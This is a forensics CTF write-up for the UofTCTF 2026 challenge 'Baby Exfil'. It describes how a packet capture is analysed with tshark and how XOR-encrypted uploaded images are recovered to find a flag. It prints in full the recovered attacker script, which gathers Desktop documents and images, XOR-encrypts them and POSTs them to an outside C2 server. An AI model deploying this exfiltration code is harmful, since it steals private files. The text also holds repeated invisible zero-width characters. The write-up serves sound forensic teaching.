← Back to Writeups
CUSTOMEasyForensics

Baby Exfil

XESXOR9/2/20263 min read
#forensics#custom#easy#http_object_extraction#multipart_parsing#pcap_analysis#xor_decryption#windows

Baby Exfil

Platform: uoftctf2026 | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: Windows | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: http_object_extraction, multipart_parsing, pcap_analysis, xor_decryption

Summary

Task: Analyze pcap file with captured network traffic to find exfiltrated data. Solution: Extract HTTP objects, find XOR encryption key in downloaded Python script, decrypt hex-encoded files to recover images containing the flag.

Baby Exfil — UofTCTF 2026

Description

Forensics challenge with network traffic analysis. Given a pcap file with captured traffic, need to find and recover exfiltrated data.

Analysis

Step 1: Initial PCAP Analysis

Downloaded file final.pcapng (17MB). Protocol hierarchy analysis:

bash
tshark -r final.pcapng -z io,phs

Found:

  • HTTP traffic (16 frames)
  • TLS
  • DNS
  • QUIC

Step 2: HTTP Traffic Analysis

Found suspicious HTTP requests:

MethodURLServerDescription
GET/JdRlPr1.py35.238.80.16:8000Python script download
POST/upload (x5)34.134.77.90:8080File upload to C2
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Extracted Malicious Script

Found JdRlPr1.py — exfiltration tool:

python
import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
                
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
            except:
                pass

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

How it works:

  1. Searches for files with extensions .docx, .png, .jpeg, .jpg on the desktop
  2. XOR encrypts content with key G0G0Squ1d3Ncrypt10n
  3. Converts to hex
  4. Sends via POST request to C2 server

Solution

Step 4: HTTP Object Extraction

bash
tshark -r final.pcapng --export-objects http,http_extracted

Extracted 5 uploaded files in multipart form data format.

Step 5: Decrypting Exfiltrated Files

python
#!/usr/bin/env python3
import os
import re

key = "G0G0Squ1d3Ncrypt10n"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def xor_file(data, key):
    """XOR decrypt/encrypt data with key"""
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

def extract_hex_from_multipart(content):
    """Extract hex data from multipart form data"""
    # Find the hex content between boundaries
    lines = content.split(b'\r\n')
    hex_data = b''
    in_data = False
    
    for line in lines:
        if b'Content-Disposition' in line:
            in_data = False
        elif in_data and line and not line.startswith(b'--'):
            hex_data += line
        elif line == b'':
            in_data = True
    
    return hex_data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def decrypt_file(input_path, output_path):
    """Decrypt an exfiltrated file"""
    with open(input_path, 'rb') as f:
        content = f.read()
    
    # Extract hex data from multipart
    hex_data = extract_hex_from_multipart(content)
    
    # Convert hex to bytes
    encrypted = bytes.fromhex(hex_data.decode())
    
    # XOR decrypt
    decrypted = xor_file(encrypted, key)
    
    with open(output_path, 'wb') as f:
        f.write(decrypted)

# Process all extracted files
for filename in os.listdir('http_extracted'):
    if 'upload' in filename:
        input_path = f'http_extracted/{filename}'
        output_path = f'decrypted_{filename}'
        decrypt_file(input_path, output_path)
        print(f"Decrypted: {output_path}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: Decryption Results

Decrypted 5 images:

FileTypeContent
decrypted_3G2BHzj.jpegJPEGImage
decrypted_fZQ6WcI.pngPNGWindows 7 screenshot
decrypted_HNderw.pngPNGContains flag!
decrypted_oMdVph0.jpegJPEGImage
decrypted_wYTCtRu.jpegJPEGImage

Flag is visually embedded in image decrypted_HNderw.png.

Notes

  • XOR encryption is symmetric: same function for encryption and decryption
  • tshark --export-objects is more convenient than manual extraction
  • Always check downloaded scripts in traffic — encryption key may be there
  • Check all extracted images visually — flag may be embedded ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍